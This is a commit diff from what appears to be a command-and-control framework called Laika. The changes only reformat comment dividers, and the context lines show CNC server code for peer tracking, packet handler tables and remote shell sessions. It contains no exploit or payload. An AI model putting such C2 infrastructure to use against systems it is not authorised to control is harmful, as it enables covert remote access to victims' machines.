1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-05 07:40:07 +00:00

Minor comments refactoring

This commit is contained in:
2022-06-27 18:20:23 -05:00
parent ca0543fe90
commit 1d6ce15b3d
15 changed files with 46 additions and 34 deletions

View File

@@ -8,7 +8,7 @@
#include "cpeer.h"
#include "cnc.h"
/* ==============================================[[ PeerHashMap ]]=============================================== */
/* ======================================[[ PeerHashMap ]]======================================= */
typedef struct sCNC_PeerHashElem {
struct sLaika_peer *peer;
@@ -27,7 +27,7 @@ uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
}
/* ============================================[[ Packet Handlers ]]============================================= */
/* ====================================[[ Packet Handlers ]]==================================== */
bool checkPeerKey(struct sLaika_peer *peer, void *uData) {
if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0)
@@ -93,7 +93,9 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
}
/* =============================================[[ Packet Tables ]]============================================== */
/* =====================================[[ Packet Tables ]]===================================== */
/* clang-format off */
#define DEFAULT_PKT_TBL \
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_REQ, \
@@ -139,7 +141,9 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
#undef DEFAULT_PKT_TBL
/* ==================================================[[ CNC ]]=================================================== */
/* clang-format on */
/* ==========================================[[ CNC ]]========================================== */
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
@@ -401,7 +405,7 @@ void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_tas
laikaC_iterPeers(cnc, sweepPeers, (void*)cnc);
}
/* ===============================================[[ Peer Iter ]]================================================ */
/* =======================================[[ Peer Iter ]]======================================= */
struct sWrapperData {
tLaika_peerIter iter;

View File

@@ -41,7 +41,7 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
laikaS_endOutPacket(authPeer);
}
/* =========================================[[ [Auth] Packet Handlers ]]========================================= */
/* ================================[[ [Auth] Packet Handlers ]]================================= */
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;

View File

@@ -4,7 +4,7 @@
#include "cpeer.h"
#include "lerror.h"
/* ===============================================[[ Peer Info ]]================================================ */
/* =======================================[[ Peer Info ]]======================================= */
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
@@ -40,7 +40,7 @@ void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo
}
/* ==============================================[[ Shell Info ]]================================================ */
/* ======================================[[ Shell Info ]]======================================= */
int findOpenShellID(struct sLaika_peerInfo *pInfo) {
int id;
@@ -116,7 +116,7 @@ void laikaC_closeShells(struct sLaika_peer *peer) {
}
}
/* ========================================[[ [Peer] Packet Handlers ]]========================================== */
/* ================================[[ [Peer] Packet Handlers ]]================================= */
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;